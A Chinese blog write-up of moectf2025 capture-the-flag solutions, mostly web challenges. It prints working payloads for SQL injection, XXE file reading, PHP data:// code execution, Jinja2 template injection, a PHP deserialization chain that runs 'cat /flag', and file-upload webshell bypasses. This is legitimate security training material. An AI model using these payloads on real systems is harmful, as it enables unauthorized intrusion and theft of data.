avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home moectf2025
文章

moectf2025

Posted 16 days ago Updated 昨天
By Administrator
46~60 min read

这是我见过的最新手友好的比赛了,题目比较多,大部分也比较套路

web

0

直接放到浏览器的控制台里

第一章

直接查看页面源码,找到一个jsp文件,里面直接就有flag

第二章

查看页面源码发现了一个/golden_trail路径,GET请求发送它说路径不正,根据它的提示,用HEAD请求,拿到flag。

第三章

根据提示修改level和manifestation的值得到flag

注意这里返回了一个小说解压缩密码

cBrtGRQSKeLvty0@lKyFpU@Z

发现可以解压一个03.zip,看到里面的小说。

第五章

../ 返回上层目录找到flag

第十章

提示flag在flag.txt中,直接抓包访问/flag.txt

Moe笑传之猜猜爆

这里看到页面的js文件中随机生成的随机数randomNumber,判断用户输入数字是否等于它,如果等于则从后端传回flag。

直接控制台输入randomNumber,返回它的值,再输入就行了。

第四章

第一关

bW9lY3Rme0Mw

第二关

bjZyNDd1MTQ3

第三关

本地访问:X-Forwarded-For:127.0.0.1

MTBuNV95MHVy

第四关

X2g3N1BfbDN2

第五关

M2xfMTVfcjM0

第六关

bGx5X2gxOWgh

第七关

fQ==

集合起来进行base64解密

第六章

sql注入

输入1'or'1'='1

第七章

从规定爬虫不允许扫描的文件推出要访问robots.txt

md5碰撞

第九章

存在命令注入漏洞

找到flag

第十二章

蚁剑一句话木马连接

第十七章

php反序列化,原理在于__destruct 这个魔术方法会在对象被销毁时自动调用

我们可以像这样先对php进行序列化,让其在反序列的时候执行我们需要的恶意代码。

先ls /,查看当前目录

发现一个flag文件,cat /flag打开

摸金偶遇FLAG,拼尽全力难战胜

题目是在三秒内破解9位数的摩斯密码,手算当然是不可能的,要写脚本

(() => {
    const TICK = 120;          // 点数字间隔

    /* 1. 劫持 fetch(/get_challenge) */
    const _fetch = window.fetch;
    window.fetch = function (...args) {
        return _fetch.apply(this, args).then(resp => {
            const url = String(args[0]);
            if (url.includes('/get_challenge')) {
                resp.clone().json().then(d => {
                    if (d.numbers?.length === 9) {
                        console.log('[+] 拿到 numbers:', d.numbers.join(''));
                        autoClick(d.numbers);
                    }
                });
            }
            return resp;
        });
    };



    function autoClick(arr) {
        let i = 0;
        const next = () => {
            if (i === 9) { console.log('[+] 数字点击完成'); return; }
            const btn = [...document.querySelectorAll('.inputContentBtnAreaItem')]
                        .find(b => b.dataset.value == arr[i]);
            if (btn) btn.click();
            i++;
            setTimeout(next, TICK);
        };
        next();
    }

    console.log('[+] 劫持已注入,点“开始挑战”即可');
})();

ai写的脚本,直接放进控制台就行了,再按开始按钮,这里注意要把浏览器的隐私端口关掉,不然会把verify的请求拦截。

第十六章

首先看一下它给的源码

这里看到它把flag发到了一个随机命名的flag-*.txt格式的文件中

结合index页面中的会在后面自动加上.php,所以这里优先使用

data://包装器执行代码的方法

查看根目录

/?file=data://text/plain,<?php system('ls -la /');?>

flag-2YWYwq1fmJgQGsfbdrGP04jsBleqfq.txt

读取此文件

/?file=data://text/plain,<?php echo file_get_contents('/flag-2YWYwq1fmJgQGsfbdrGP04jsBleqfq.txt');?>

第一章 神秘的手镯_revenge

根据备份文件的常用格式下载备份文件

因为页面限制不能粘贴,所以我们这里直接控制台

document.getElementById('passwordInput').value = '你要粘贴的万言咒内容';

再因为要发送500次,我们直接利用bp爆破发送个500次

第十三章

嗯,文件上传题

这都已经把限制写出来了。

开始翻笔记,试图唤醒沉睡的记忆

先上传一个正常的jpg文件,拦截之后修改,把它的hex头留下来(绕过FFD8FF),这道题有没有jpg后缀都无所谓(x.php也能行),主要是好像不能一句话木马连接,只能phpinfo显示它的php环境的完整配置,再在里面ctr+f搜索flag

第十章 天机符阵_revenge

一句话总结:简单的xxe

随便输入,它会显示类似于这样的输出

  • DOMDocument::loadXML() - 后端使用XML解析器

  • Start tag expected, '&lt;' not found - 期望XML格式但输入不是有效的XML

说明它期望我们输入的是xml格式的代码,再加上题目中提示的flag.txt

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<contract>
    <解析>&xxe;</解析>
</contract>

第十四章 御神关·补天玉碑

一句话总结:又是一道文件上传,这次的重点在于.htaccess文件

简单介绍一下.htaccess是(Apache服务器的目录级配置文件,可以覆盖主服务器的配置,常用于URL重写、访问控制、MIME类型设置等),常见组合就是

好了,看题目

常规先上传一个带着恶意命令的jpg文件

上传一个.htaccess文件,这里的作用主要是讲1.jpg当作php执行,这样就会执行其中的php恶意代码

18 第十八章 万卷诡阁·功法连环

一句话总结:简单的php反序列化

私有属性在序列化时包含空字节%00,这些字符在URL中需要编码,否则会被错误解析。

19 第十九章 星穹真相·补天归源

稍微复杂一点的php反序列化

PersonC中的$name($age)是一个很好的代码执行点,所以我们要在此构造system("cat /flag")

简单写一下

因为$this->age和$age没啥关系,所以这里只要$this->name里没有“flag”就行了

20 第二十章 幽冥血海·幻语心魔

一句话总结:SSTI,服务端模板注入

它给了一个php文件

from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    if 'username' in request.args or 'password' in request.args:
        username = request.args.get('username', '')
        password = request.args.get('password', '')

        if not username or not password:
            login_msg = """
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
            </div>
            """
        else:
            login_msg = render_template_string(f"""
            <div class="login-result" id="result">
                <div class="result-title">阵法反馈</div>
                <div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
            </div>
            """)
    else:
        login_msg = ""

    return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

这里的代码直接将用户输入的 username 通过 f-string 插入到模板字符串中,然后使用 render_template_string() 渲染。

所以直接在username中读取文件

?username={{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/flag').read()}}&password=test
//外层是 Jinja2 模板语法,内层是 Python 对象操作语法。

aa

08 第八章 天衍真言,星图显圣

省流:sql注入

获取列数

说明查询列数为2,且第一列是可见的

获取数据库名

获取表名

1' UNION SELECT table_name, 1 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- -

获取列名

1' UNION SELECT column_name, 1 FROM information_schema.columns WHERE table_schema=database() AND table_name='flag' LIMIT 0,1-- -

获取值

1' UNION SELECT value, 1 FROM flag-- -

11 第十一章 千机变·破妄之眼

首先这里提示GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入。

那么就是脚本爆破,找到长度不一样的响应体返回

import requests
from itertools import permutations
import time

# 基础URL - 请替换为实际的题目URL
BASE_URL = "http://127.0.0.1:58578/"  # 替换成实际地址

# 所有可能的参数名排列
letters = ['m', 'n', 'o', 'p', 'q']
all_permutations = [''.join(p) for p in permutations(letters)]

print(f"共有 {len(all_permutations)} 种可能的参数名排列")
print("开始爆破...\n")

# 目标响应长度
TARGET_LENGTH = 19704

found = False

for i, param_name in enumerate(all_permutations, 1):
    # 构造URL:参数名=参数值
    params = {param_name: param_name}

    try:
        response = requests.get(BASE_URL, params=params, timeout=5)

        # 打印进度
        print(f"尝试 {i:3d}/120: {param_name} - 状态码: {response.status_code}")

        # 检查响应长度是否为目标长度
        if len(response.text) == TARGET_LENGTH:
            print("\n" + "=" * 50)
            print(f"找到目标!响应长度为 {TARGET_LENGTH}")
            print(f"成功的URL: {response.url}")
            print("-" * 30)
            print("响应体内容:")
            print(response.text)
            print("=" * 50)
            found = True
            break  # 找到后立即退出循环

        # 避免请求过快被屏蔽
        time.sleep(0.1)

    except requests.RequestException as e:
        print(f"尝试 {i:3d}/120: {param_name} - 请求错误: {e}")

print("\n爆破完成!")
if not found:
    print(f"未找到响应长度为 {TARGET_LENGTH} 的请求。")

发现一个find.php,发现在里面可以访问任意路径,

访问./flag时显示(flag就在这了,看不到吗,是老弟境界不够吧)

那么就是php://filter/convert.base64-encode/resource=./flag.php

因为此文件是一个php文件,解释器会自动执行它,所以返回的并不是一个源文件,而是一个执行结果,所以我们如果要看到php文件的源码就需要php://filter/convert.base64-encode/resource=读取文件之后进行编码再交给php解释器,这样我们解码之后就能看到完整的源码了。

15 第十五章 归真关·竞时净魔

感觉是文件上传+条件竞争题

但是我上传+访问,访问的时候有时候显示的是200,但是里面的内容仍然是报错的。

19 第十九章_revenge

省流:更加复杂的php反序列化

<?php
// 定义与目标应用同名的空类(仅为生成同名序列化对象)

class Person
{
    public $name;
    public $id;
    public $age;
} 
class PersonA extends Person {}
class PersonB extends Person {}
class PersonC extends Person {}

// 构造链
$a = new PersonA();
$a->name = null;            // 在 PersonB->__invoke 时会被改写为 PersonC 实例
$a->id   = "check";         // PersonA->__destruct 会调用 PersonC->check(...)
$a->age  = "cat /flag";     // 要执行的命令(会被传给 check)

$b = new PersonB();
$b->id   = $a;              // PersonB->id 指向 PersonA
$b->name = "'../flag.php'";     // 在 __invoke 中会被写入 PersonA->age(冗余但保持链一致)
$b->age  = null;

$c = new PersonC();
$c->id   = $b;              // 触发 __wakeup 时会调用 $b($this) -> PersonB::__invoke
$c->name = "file_get_contents";      // PersonC::check 中会调用这个可调用名 -> passthru("cat /flag")
$c->age  = null;

// 生成 payload
$payload = serialize($c);

echo "=== urlencoded ===\n";
echo urlencode($payload) . "\n\n";

这个payload是跑得通的,再把相应的命令换一下找到flag,这里的flag在环境信息里,比如下面的

shell_exec -> /bin/cat /proc/self/environ | tr "\0" "\n" | head -n 50 ====

读取和显示服务器环境信息的

这是...Webshell?

可如此访问文件,但找不到flag

?shell=?><?=`/???/??? /????/????/???????.???`?>

misc

misc入门指北

全选文档找到一个设置成白色的字,复制出来就是flag

2048_master

打开是一个exe文件,它说合成16348有惊喜。

用Cheat Engine把方块里的值改掉。跳出flag

Rush

用stegsolve工具查看每一帧,发现一个不全的二维码

用ps工具补全左上角定位符,就可以扫出来了

捂住一只耳

很明显的摩斯密码

ez_LSB

附件里是一个图片由于提示了像素的问题,怀疑是LSB

zsteg -a x.png

对整张 PNG 图片进行 所有已知方式的 LSB(最低有效位)隐写扫描,并输出所有可能藏有信息的地方。

base64解码得到flag

Pyjail 0

它这里说至于 flag 的位置?你可以参考 Web 第十二章(,我们f从第十二章知道flag不在具体的文件里而是在环境变量里,所以是在linux当前的环境变量文件里,也就是

/proc/self/environ

ez_锟斤拷????

锟斤拷 加密,可以找个在线网站直接解密

此编码产生的原因是将GBK和UTF-8编码混用了,所以将UTF-8格式的文件改成GBK格式就行。

weird_photo

说注意CRC,一眼crc宽高爆破

把宽高改高一点

encrypted_pdf

发现一个被加密的pdf,ilovepdf就有pdf解密的功能,放到里面解密

查看文件,发现一串很可以的字符

找到flag

Pyjail 1

这里给出了它的执行代码

def chall():
    user_input = input("Give me your code: ")

    # 过滤关键字
    forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
    for keyword in forbidden_keywords:
        if keyword in user_input:
            print(f"Forbidden keyword detected: {keyword}")
            return

    result = eval(user_input)

但是我们仍然可以通过拼接等方式绕过黑名单。

刷题
刷题
License:  CC BY 4.0
Share

Further Reading

Oct 5, 2025

moectf2025

这是我见过的最新手友好的比赛了,题目比较多,大部分也比较套路 web 0 直接放到浏览器的控制台里 第一章 直接查看页面源码,找到一个jsp文件,里面直接就有flag 第二章 <

Aug 1, 2025

ctfshow菜狗杯题集

杂项签到 得到一个图片,kali里面 strings misc1.png //直接得到flag 损坏的压缩包 hex打开发现是png,改png后缀,图片上就有flag 谜之栅栏 strings 两个图片得到这两串字符,很明显的栅栏 ; .Lcfhwfaab2cb4af5a5820} ; .Ltso{

Aug 1, 2025

ctfshow萌新题集

记录一下前半部分是能自己写出来的,后半部分是需要提示的,感觉自己归来两年仍是萌新 misc部分 知识点 base家族密文特征 Base16 (Hex) 字符集:0-9, A-F(不区分大小写)。 特征: 长度是 2 的倍数(每字节对应 2 个字符)。 无填充字符。 示例:48656C6C6F("He

OLDER

Java反序列化-RMI流程分析

NEWER

Java反序列化-RMI的几种攻击方式

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy